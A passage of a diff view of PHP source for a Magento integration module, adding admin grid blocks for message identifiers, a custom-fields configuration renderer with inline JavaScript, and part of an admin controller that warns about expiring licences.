* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Message_View_RelatedObjects_Grid
|
19 |
+
extends Ampersand_Integration_Block_Adminhtml_GridAbstract
|
20 |
+
{
|
21 |
+
public function __construct()
|
22 |
+
{
|
23 |
+
parent::__construct();
|
24 |
+
|
25 |
+
$this->setId('identifier_grid')
|
26 |
+
->setUseAjax(true)
|
27 |
+
->setDefaultSort('entity_id')
|
28 |
+
->setDefaultDir('ASC')
|
29 |
+
->setSaveParametersInSession(true)
|
30 |
+
;
|
31 |
+
}
|
32 |
+
|
33 |
+
protected function _prepareCollection()
|
34 |
+
{
|
35 |
+
$collection = Mage::getResourceModel('ampersand_integration/message_identifier_collection')
|
36 |
+
->addFieldToFilter('message_id', $this->getMessage()->getId());
|
37 |
+
$this->setCollection($collection);
|
38 |
+
|
39 |
+
return parent::_prepareCollection();
|
40 |
+
}
|
41 |
+
|
42 |
+
protected function _prepareColumns()
|
43 |
+
{
|
44 |
+
$this->addColumn('entity_id', array(
|
45 |
+
'header' => Mage::helper('ampersand_integration')->__('Reference #'),
|
46 |
+
'index' => 'entity_id',
|
47 |
+
'type' => 'number',
|
48 |
+
));
|
49 |
+
|
50 |
+
$this->addColumn('type', array(
|
51 |
+
'header' => Mage::helper('ampersand_integration')->__('Type'),
|
52 |
+
'index' => 'type',
|
53 |
+
));
|
54 |
+
|
55 |
+
$this->addColumn('name', array(
|
56 |
+
'header' => Mage::helper('ampersand_integration')->__('Name'),
|
57 |
+
'index' => 'name',
|
58 |
+
));
|
59 |
+
|
60 |
+
$this->addColumn('value', array(
|
61 |
+
'header' => Mage::helper('ampersand_integration')->__('Value'),
|
62 |
+
'index' => 'value',
|
63 |
+
));
|
64 |
+
|
65 |
+
$this->addColumn('nr_of_flags', array(
|
66 |
+
'header' => Mage::helper('ampersand_integration')->__('Flags'),
|
67 |
+
'type' => 'number',
|
68 |
+
'index' => 'nr_of_flags',
|
69 |
+
'filter_index' => 'nr_of_flags',
|
70 |
+
));
|
71 |
+
|
72 |
+
$this->addColumn('nr_of_errors', array(
|
73 |
+
'header' => Mage::helper('ampersand_integration')->__('Errors'),
|
74 |
+
'type' => 'number',
|
75 |
+
'index' => 'nr_of_errors',
|
76 |
+
'filter_index' => 'nr_of_errors',
|
77 |
+
));
|
78 |
+
|
79 |
+
$this->addColumn('action',
|
80 |
+
array(
|
81 |
+
'header' => Mage::helper('ampersand_integration')->__('Action'),
|
82 |
+
'type' => 'action',
|
83 |
+
'index' => 'entity_id',
|
84 |
+
'actions' => array(
|
85 |
+
array(
|
86 |
+
'caption' => Mage::helper('ampersand_integration')->__('View Entity'),
|
87 |
+
'url' => array(
|
88 |
+
'base' => '*/messageIdentifier/redirect',
|
89 |
+
'params' => array('_current' => true),
|
90 |
+
),
|
91 |
+
'field' => 'id',
|
92 |
+
),
|
93 |
+
),
|
94 |
+
'filter' => false,
|
95 |
+
'sortable' => false,
|
96 |
+
'is_system' => true,
|
97 |
+
'width' => 80,
|
98 |
+
));
|
99 |
+
|
100 |
+
$this->addColumn('status_indicator', array(
|
101 |
+
'index' => 'state',
|
102 |
+
'filter' => false,
|
103 |
+
'renderer' => 'ampersand_integration_admin/grid_statusRenderer',
|
104 |
+
'header_css_class' => 'np nm',
|
105 |
+
'column_css_class' => 'np nm',
|
106 |
+
'width' => 1,
|
107 |
+
));
|
108 |
+
|
109 |
+
return parent::_prepareColumns();
|
110 |
+
}
|
111 |
+
|
112 |
+
public function getMessage()
|
113 |
+
{
|
114 |
+
return Mage::registry('message');
|
115 |
+
}
|
116 |
+
|
117 |
+
public function getRowUrl($row)
|
118 |
+
{
|
119 |
+
return $this->getUrl(
|
120 |
+
'*/messageIdentifier/redirect', array('_current' => true, 'id' => $row->getEntityId())
|
121 |
+
);
|
122 |
+
}
|
123 |
+
|
124 |
+
public function getGridUrl()
|
125 |
+
{
|
126 |
+
return $this->getUrl(
|
127 |
+
'ampersand_integration_admin/message_view/relatedObjectsGrid', array('_current' => true)
|
128 |
+
);
|
129 |
+
}
|
130 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/MessageIdentifier.php
ADDED
@@ -0,0 +1,45 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_MessageIdentifier
|
19 |
+
extends Mage_Adminhtml_Block_Widget_Grid_Container
|
20 |
+
{
|
21 |
+
public function __construct()
|
22 |
+
{
|
23 |
+
$this->_blockGroup = 'ampersand_integration_admin';
|
24 |
+
$this->_controller = 'messageIdentifier';
|
25 |
+
|
26 |
+
if (!$this->getService()) {
|
27 |
+
$this->_headerText = Mage::helper('ampersand_integration')->__(
|
28 |
+
'Entity References'
|
29 |
+
);
|
30 |
+
} else {
|
31 |
+
$this->_headerText = Mage::helper('ampersand_integration')->__(
|
32 |
+
'%s Entity References', $this->getService()->getDescription()
|
33 |
+
);
|
34 |
+
}
|
35 |
+
|
36 |
+
parent::__construct();
|
37 |
+
|
38 |
+
$this->_removeButton('add');
|
39 |
+
}
|
40 |
+
|
41 |
+
public function getService()
|
42 |
+
{
|
43 |
+
return Mage::helper('ampersand_integration/adminhtml')->getCurrentService();
|
44 |
+
}
|
45 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/MessageIdentifier/Grid.php
ADDED
@@ -0,0 +1,180 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_MessageIdentifier_Grid
|
19 |
+
extends Ampersand_Integration_Block_Adminhtml_GridAbstract
|
20 |
+
{
|
21 |
+
public function __construct()
|
22 |
+
{
|
23 |
+
parent::__construct();
|
24 |
+
|
25 |
+
$this->setId('identifier_grid')
|
26 |
+
->setUseAjax(true)
|
27 |
+
->setDefaultSort('entity_id')
|
28 |
+
->setDefaultDir('DESC')
|
29 |
+
->setSaveParametersInSession(true)
|
30 |
+
;
|
31 |
+
}
|
32 |
+
|
33 |
+
protected function _prepareCollection()
|
34 |
+
{
|
35 |
+
if (!$allowedServiceIds = $this->getAllowedServiceIds()) {
|
36 |
+
$allowedServiceIds = array(-1);
|
37 |
+
}
|
38 |
+
|
39 |
+
$collection = Mage::getResourceModel('ampersand_integration/message_identifier_collection')
|
40 |
+
->addFieldToFilter('`ampersand_integration/message`.service_id', $allowedServiceIds)
|
41 |
+
->joinMessage();
|
42 |
+
|
43 |
+
$service = Mage::helper('ampersand_integration/adminhtml')->getCurrentService();
|
44 |
+
if ($service) {
|
45 |
+
$collection->addFieldToFilter('`ampersand_integration/message`.service_id', $service->getId());
|
46 |
+
}
|
47 |
+
|
48 |
+
$this->setCollection($collection);
|
49 |
+
|
50 |
+
return parent::_prepareCollection();
|
51 |
+
}
|
52 |
+
|
53 |
+
protected function _prepareColumns()
|
54 |
+
{
|
55 |
+
$this->addColumn('entity_id', array(
|
56 |
+
'header' => Mage::helper('ampersand_integration')->__('Reference #'),
|
57 |
+
'index' => 'entity_id',
|
58 |
+
'type' => 'number',
|
59 |
+
));
|
60 |
+
|
61 |
+
$this->addColumn('created_at', array(
|
62 |
+
'header' => Mage::helper('ampersand_integration')->__('Date'),
|
63 |
+
'type' => 'datetime',
|
64 |
+
'index' => 'created_at',
|
65 |
+
'filter_index' => 'created_at',
|
66 |
+
));
|
67 |
+
|
68 |
+
if (!$this->getServiceCode()) {
|
69 |
+
$this->addColumn('service_name', array(
|
70 |
+
'header' => Mage::helper('ampersand_integration')->__('Direction & Service'),
|
71 |
+
'filter' => 'ampersand_integration_admin/grid_directedServiceFilter',
|
72 |
+
'renderer' => 'ampersand_integration_admin/grid_directedServiceRenderer',
|
73 |
+
'index' => 'service_id',
|
74 |
+
'direction' => array(
|
75 |
+
'index' => 'message_direction',
|
76 |
+
'filter_index' => 'message_direction',
|
77 |
+
'options' => array(
|
78 |
+
Ampersand_Integration_Model_Message::DIRECTION_INCOMING =>
|
79 |
+
Mage::helper('ampersand_integration')->__('Incoming'),
|
80 |
+
Ampersand_Integration_Model_Message::DIRECTION_OUTGOING =>
|
81 |
+
Mage::helper('ampersand_integration')->__('Outgoing'),
|
82 |
+
),
|
83 |
+
),
|
84 |
+
'service' => array(
|
85 |
+
'index' => 'service_id',
|
86 |
+
'filter_index' => 'service_id',
|
87 |
+
'options' => $this->_getServiceOptionsArray(),
|
88 |
+
),
|
89 |
+
));
|
90 |
+
} else {
|
91 |
+
$this->addColumn('message_direction', array(
|
92 |
+
'header' => Mage::helper('ampersand_integration')->__('Direction'),
|
93 |
+
'type' => 'options',
|
94 |
+
'index' => 'message_direction',
|
95 |
+
'filter_index' => 'message_direction',
|
96 |
+
'options' => array(
|
97 |
+
Ampersand_Integration_Model_Message::DIRECTION_INCOMING =>
|
98 |
+
Mage::helper('ampersand_integration')->__('Incoming'),
|
99 |
+
Ampersand_Integration_Model_Message::DIRECTION_OUTGOING =>
|
100 |
+
Mage::helper('ampersand_integration')->__('Outgoing'),
|
101 |
+
),
|
102 |
+
));
|
103 |
+
}
|
104 |
+
|
105 |
+
$this->addColumn('message_name', array(
|
106 |
+
'header' => Mage::helper('ampersand_integration')->__('Message Name'),
|
107 |
+
'type' => 'text',
|
108 |
+
'index' => 'message_name',
|
109 |
+
'filter_index' => 'message_name',
|
110 |
+
'width' => 1,
|
111 |
+
));
|
112 |
+
|
113 |
+
$this->addColumn('type', array(
|
114 |
+
'header' => Mage::helper('ampersand_integration')->__('Type'),
|
115 |
+
'index' => 'type',
|
116 |
+
'filter_index' => '`main_table`.type',
|
117 |
+
));
|
118 |
+
|
119 |
+
$this->addColumn('name', array(
|
120 |
+
'header' => Mage::helper('ampersand_integration')->__('Name'),
|
121 |
+
'index' => 'name',
|
122 |
+
'filter_index' => '`main_table`.name',
|
123 |
+
));
|
124 |
+
|
125 |
+
$this->addColumn('value', array(
|
126 |
+
'header' => Mage::helper('ampersand_integration')->__('Value(s)'),
|
127 |
+
'index' => 'value',
|
128 |
+
));
|
129 |
+
|
130 |
+
$this->addColumn('action',
|
131 |
+
array(
|
132 |
+
'header' => Mage::helper('ampersand_integration')->__('Action'),
|
133 |
+
'type' => 'action',
|
134 |
+
'index' => 'entity_id',
|
135 |
+
'actions' => array(
|
136 |
+
array(
|
137 |
+
'caption' => Mage::helper('ampersand_integration')->__('View Message'),
|
138 |
+
'url' => array(
|
139 |
+
'base' => '*/message/view',
|
140 |
+
'params' => array('_current' => true),
|
141 |
+
),
|
142 |
+
'field' => 'identifier_id',
|
143 |
+
),
|
144 |
+
array(
|
145 |
+
'caption' => Mage::helper('ampersand_integration')->__('View Entity'),
|
146 |
+
'url' => array(
|
147 |
+
'base' => '*/messageIdentifier/redirect',
|
148 |
+
'params' => array('_current' => true),
|
149 |
+
),
|
150 |
+
'field' => 'id',
|
151 |
+
),
|
152 |
+
),
|
153 |
+
'filter' => false,
|
154 |
+
'sortable' => false,
|
155 |
+
'is_system' => true,
|
156 |
+
'width' => 80,
|
157 |
+
));
|
158 |
+
|
159 |
+
$this->addColumn('status_indicator', array(
|
160 |
+
'index' => 'state',
|
161 |
+
'filter' => false,
|
162 |
+
'renderer' => 'ampersand_integration_admin/grid_statusRenderer',
|
163 |
+
'header_css_class' => 'np nm',
|
164 |
+
'column_css_class' => 'np nm',
|
165 |
+
'width' => 1,
|
166 |
+
));
|
167 |
+
|
168 |
+
return parent::_prepareColumns();
|
169 |
+
}
|
170 |
+
|
171 |
+
public function getMessage()
|
172 |
+
{
|
173 |
+
return Mage::registry('message');
|
174 |
+
}
|
175 |
+
|
176 |
+
public function getRowUrl($row)
|
177 |
+
{
|
178 |
+
return null;
|
179 |
+
}
|
180 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/System/Config/Renderer/CustomFields.php
ADDED
@@ -0,0 +1,201 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_System_Config_Renderer_CustomFields
|
19 |
+
extends Ampersand_Adminhtml_Block_System_Config_Renderer_ArrayAbstract
|
20 |
+
{
|
21 |
+
protected $_classTypeRenderer;
|
22 |
+
|
23 |
+
public function render(Varien_Data_Form_Element_Abstract $element)
|
24 |
+
{
|
25 |
+
// need to set this here so it is available to getHtmlId()
|
26 |
+
$this->setElement($element);
|
27 |
+
|
28 |
+
return $this->_getDependencyJs($element) . parent::render($element);
|
29 |
+
}
|
30 |
+
|
31 |
+
/**
|
32 |
+
* Prepares block to be rendered
|
33 |
+
*
|
34 |
+
* @return Ampersand_Integration_Block_Adminhtml_System_Config_Renderer_CustomFields
|
35 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
36 |
+
*/
|
37 |
+
protected function _prepareToRender()
|
38 |
+
{
|
39 |
+
$this->addColumn('name', array(
|
40 |
+
'label' => Mage::helper('ampersand_integration')->__('Field Name'),
|
41 |
+
'style' => 'width:80px',
|
42 |
+
));
|
43 |
+
$this->addColumn('type', array(
|
44 |
+
'label' => Mage::helper('ampersand_integration')->__('Type'),
|
45 |
+
'renderer' => $this->_getClassTypeRenderer($this->getElement()),
|
46 |
+
));
|
47 |
+
$this->addColumn('class', array(
|
48 |
+
'label' => Mage::helper('ampersand_integration')->__('Class'),
|
49 |
+
'style' => 'width:100px',
|
50 |
+
'class' => 'custom-fields-type-dependent class',
|
51 |
+
));
|
52 |
+
$this->addColumn('method', array(
|
53 |
+
'label' => Mage::helper('ampersand_integration')->__('Method / Field'),
|
54 |
+
'style' => 'width:80px',
|
55 |
+
'class' => 'custom-fields-type-dependent method',
|
56 |
+
));
|
57 |
+
|
58 |
+
return $this;
|
59 |
+
}
|
60 |
+
|
61 |
+
/**
|
62 |
+
* Retrieves renderer for product image attribute field
|
63 |
+
*
|
64 |
+
* @return Ampersand_Adminhtml_Block_System_Config_Element_ProductImage_Attribute
|
65 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
66 |
+
*/
|
67 |
+
protected function _getClassTypeRenderer($element)
|
68 |
+
{
|
69 |
+
if (is_null($this->_classTypeRenderer)) {
|
70 |
+
$this->_classTypeRenderer = $this->getLayout()->createBlock(
|
71 |
+
'core/html_select', '',
|
72 |
+
array('is_render_to_js_template' => true)
|
73 |
+
);
|
74 |
+
|
75 |
+
$this->_classTypeRenderer->addOption(
|
76 |
+
$this->_getCustomFieldTypes(),
|
77 |
+
Mage::helper('ampersand_integration')->__('Custom Field')
|
78 |
+
);
|
79 |
+
$this->_classTypeRenderer->addOption(
|
80 |
+
$this->_getCustomFieldCallbackTypes(),
|
81 |
+
Mage::helper('ampersand_integration')->__('Custom Callback')
|
82 |
+
);
|
83 |
+
if ($presets = $this->_getCustomFieldPresets()) {
|
84 |
+
$this->_classTypeRenderer->addOption(
|
85 |
+
$presets, Mage::helper('ampersand_integration')->__('Preset')
|
86 |
+
);
|
87 |
+
}
|
88 |
+
|
89 |
+
$elementName = $element->getName();
|
90 |
+
$typeValue = $element->getData('value/type');
|
91 |
+
|
92 |
+
$this->_classTypeRenderer
|
93 |
+
->setName($elementName . '[#{_id}][type]')
|
94 |
+
->setClass('custom-fields-type')
|
95 |
+
->setExtraParams('style="width:110px"');
|
96 |
+
}
|
97 |
+
|
98 |
+
return $this->_classTypeRenderer;
|
99 |
+
}
|
100 |
+
|
101 |
+
protected function _getCustomFieldTypes()
|
102 |
+
{
|
103 |
+
return array(
|
104 |
+
'accessor' => Mage::helper('ampersand_integration')->__('Accessor'),
|
105 |
+
);
|
106 |
+
}
|
107 |
+
|
108 |
+
protected function _getCustomFieldCallbackTypes()
|
109 |
+
{
|
110 |
+
return array(
|
111 |
+
'custom/helper' => Mage::helper('ampersand_integration')->__('Helper'),
|
112 |
+
'custom/model' => Mage::helper('ampersand_integration')->__('Model'),
|
113 |
+
'custom/singleton' => Mage::helper('ampersand_integration')->__('Singleton'),
|
114 |
+
);
|
115 |
+
}
|
116 |
+
|
117 |
+
protected function _getCustomFieldPresets()
|
118 |
+
{
|
119 |
+
return array();
|
120 |
+
}
|
121 |
+
|
122 |
+
protected function _getDependencyJs($element)
|
123 |
+
{
|
124 |
+
$updateTypeValuesJsLines = array();
|
125 |
+
|
126 |
+
$elementValue = $element->getValue();
|
127 |
+
if (is_array($elementValue)) {
|
128 |
+
foreach ($elementValue as $_rowId => $_rowData) {
|
129 |
+
$updateTypeValuesJsLines[] = "$('$_rowId').down('select.custom-fields-type')
|
130 |
+
.setValue('{$_rowData['type']}')";
|
131 |
+
}
|
132 |
+
}
|
133 |
+
|
134 |
+
$updateTypeValueJs = implode("\n", $updateTypeValuesJsLines);
|
135 |
+
|
136 |
+
return '<script type="text/javascript">
|
137 |
+
if (typeof checkCustomFieldTypeValue != "function") {
|
138 |
+
function checkCustomFieldTypeValue($select)
|
139 |
+
{
|
140 |
+
$dependents = $select.up("tr").select(".custom-fields-type-dependent");
|
141 |
+
if ("custom/" == $select.getValue().substr(0, 7)) {
|
142 |
+
$dependents.each(function(element) {
|
143 |
+
element.removeAttribute("disabled");
|
144 |
+
});
|
145 |
+
} else if ("accessor" == $select.getValue().substr(0, 8)) {
|
146 |
+
$dependents.each(function(element) {
|
147 |
+
if (element.hasClassName("class")) {
|
148 |
+
element.setAttribute("disabled", "disabled");
|
149 |
+
element.setValue("");
|
150 |
+
}
|
151 |
+
});
|
152 |
+
} else {
|
153 |
+
$dependents.each(function(element) {
|
154 |
+
element.setAttribute("disabled", "disabled");
|
155 |
+
element.setValue("");
|
156 |
+
});
|
157 |
+
}
|
158 |
+
}
|
159 |
+
|
160 |
+
function createCustomFieldGridObservers(gridId)
|
161 |
+
{
|
162 |
+
$grid = $(gridId);
|
163 |
+
|
164 |
+
$grid.select("button").each(function($button) {
|
165 |
+
if (!$button.getAttribute("observer_defined")) {
|
166 |
+
Event.observe($button, "click", function() {
|
167 |
+
var gridId = getContainingGridId($(this));
|
168 |
+
createCustomFieldGridObservers(gridId);
|
169 |
+
});
|
170 |
+
$button.setAttribute("observer_defined", true);
|
171 |
+
}
|
172 |
+
});
|
173 |
+
|
174 |
+
$grid.select("select.custom-fields-type").each(function($select) {
|
175 |
+
if (!$select.getAttribute("observer_defined")) {
|
176 |
+
Event.observe($select, "change", function() {
|
177 |
+
checkCustomFieldTypeValue($(this));
|
178 |
+
});
|
179 |
+
$select.setAttribute("observer_defined", true);
|
180 |
+
}
|
181 |
+
|
182 |
+
checkCustomFieldTypeValue($select);
|
183 |
+
});
|
184 |
+
}
|
185 |
+
|
186 |
+
function getContainingGridId($element)
|
187 |
+
{
|
188 |
+
return $element.up("div.grid").id;
|
189 |
+
}
|
190 |
+
}
|
191 |
+
|
192 |
+
Event.observe(window, "load", function() {
|
193 |
+
' . $updateTypeValueJs . '
|
194 |
+
createCustomFieldGridObservers(grid' . $this->getHtmlId() . ');
|
195 |
+
Element.observe("emptyAddBtn' . $this->getHtmlId() . '", "click", function() {
|
196 |
+
createCustomFieldGridObservers(grid' . $this->getHtmlId() . ');
|
197 |
+
});
|
198 |
+
});
|
199 |
+
</script>';
|
200 |
+
}
|
201 |
+
}
|
app/code/core/Ampersand/Integration/Controller/Adminhtml/Abstract.php
ADDED
@@ -0,0 +1,178 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Controller
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Controller
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Controller_Adminhtml_Abstract
|
19 |
+
extends Mage_Adminhtml_Controller_Action
|
20 |
+
{
|
21 |
+
public function preDispatch()
|
22 |
+
{
|
23 |
+
parent::preDispatch();
|
24 |
+
|
25 |
+
$time = time();
|
26 |
+
$this->_handleUnlicensedServices($time);
|
27 |
+
$this->_handleExpiringLicenses($time);
|
28 |
+
$this->_initCurrentService();
|
29 |
+
|
30 |
+
return $this;
|
31 |
+
}
|
32 |
+
|
33 |
+
protected function _handleUnlicensedServices($time)
|
34 |
+
{
|
35 |
+
|
36 |
+
}
|
37 |
+
|
38 |
+
protected function _handleExpiringLicenses($time)
|
39 |
+
{
|
40 |
+
$expiredServices = array();
|
41 |
+
$expiringServices = array();
|
42 |
+
|
43 |
+
foreach ($this->_getLicenses() as $_license) {
|
44 |
+
if (!$_license->getExpiresAt()) {
|
45 |
+
continue;
|
46 |
+
}
|
47 |
+
|
48 |
+
$_key = $_license->getExpiresAt() . $_license->getServiceCode();
|
49 |
+
$_pair = array(
|
50 |
+
'service_code' => $_license->getServiceCode(),
|
51 |
+
'expires_at' => $_license->getExpiresAt(),
|
52 |
+
);
|
53 |
+
|
54 |
+
if (!$_license->getIsValid()) {
|
55 |
+
$expiredServices[$_key] = $_pair;
|
56 |
+
} else {
|
57 |
+
$expiringServices[$_key] = $_pair;
|
58 |
+
}
|
59 |
+
}
|
60 |
+
|
61 |
+
foreach ($expiredServices as $_pair) {
|
62 |
+
$this->_handleExpiredLicense($_pair['service_code'], $_pair['expires_at'], $time);
|
63 |
+
}
|
64 |
+
|
65 |
+
foreach ($expiringServices as $_pair) {
|
66 |
+
$this->_handleExpiringLicense($_pair['service_code'], $_pair['expires_at'], $time);
|
67 |
+
}
|
68 |
+
}
|
69 |
+
|
70 |
+
protected function _getLicenses()
|
71 |
+
{
|
72 |
+
$licenses = array();
|
73 |
+
|
74 |
+
foreach (Ampersand_License::getLicenseData() as $_identifier => $_data) {
|
75 |
+
$_license = Mage::getModel('ampersand_integration/license')
|
76 |
+
->setData($_data)
|
77 |
+
->setIdentifier($_identifier);
|
78 |
+
|
79 |
+
if (!$_license->getServiceCode()) {
|
80 |
+
continue;
|
81 |
+
}
|
82 |
+
|
83 |
+
$licenses[] = $_license;
|
84 |
+
}
|
85 |
+
|
86 |
+
return $licenses;
|
87 |
+
}
|
88 |
+
|
89 |
+
protected function _handleExpiredLicense($serviceCode, $expiresAt, $time)
|
90 |
+
{
|
91 |
+
if (2419200 < $time - $expiresAt) {
|
92 |
+
// [if] license expired more than four weeks ago
|
93 |
+
return;
|
94 |
+
}
|
95 |
+
|
96 |
+
$serviceDescription = Mage::getModel('ampersand_integration/service_info')
|
97 |
+
->load($serviceCode, 'code')
|
98 |
+
->getDataSetDefault('description', $serviceCode);
|
99 |
+
$message = $this->__('A license for the %s integration module has expired!', $serviceDescription);
|
100 |
+
|
101 |
+
if (604800 > $time - $expiresAt) {
|
102 |
+
// [if] license expired less than one week ago
|
103 |
+
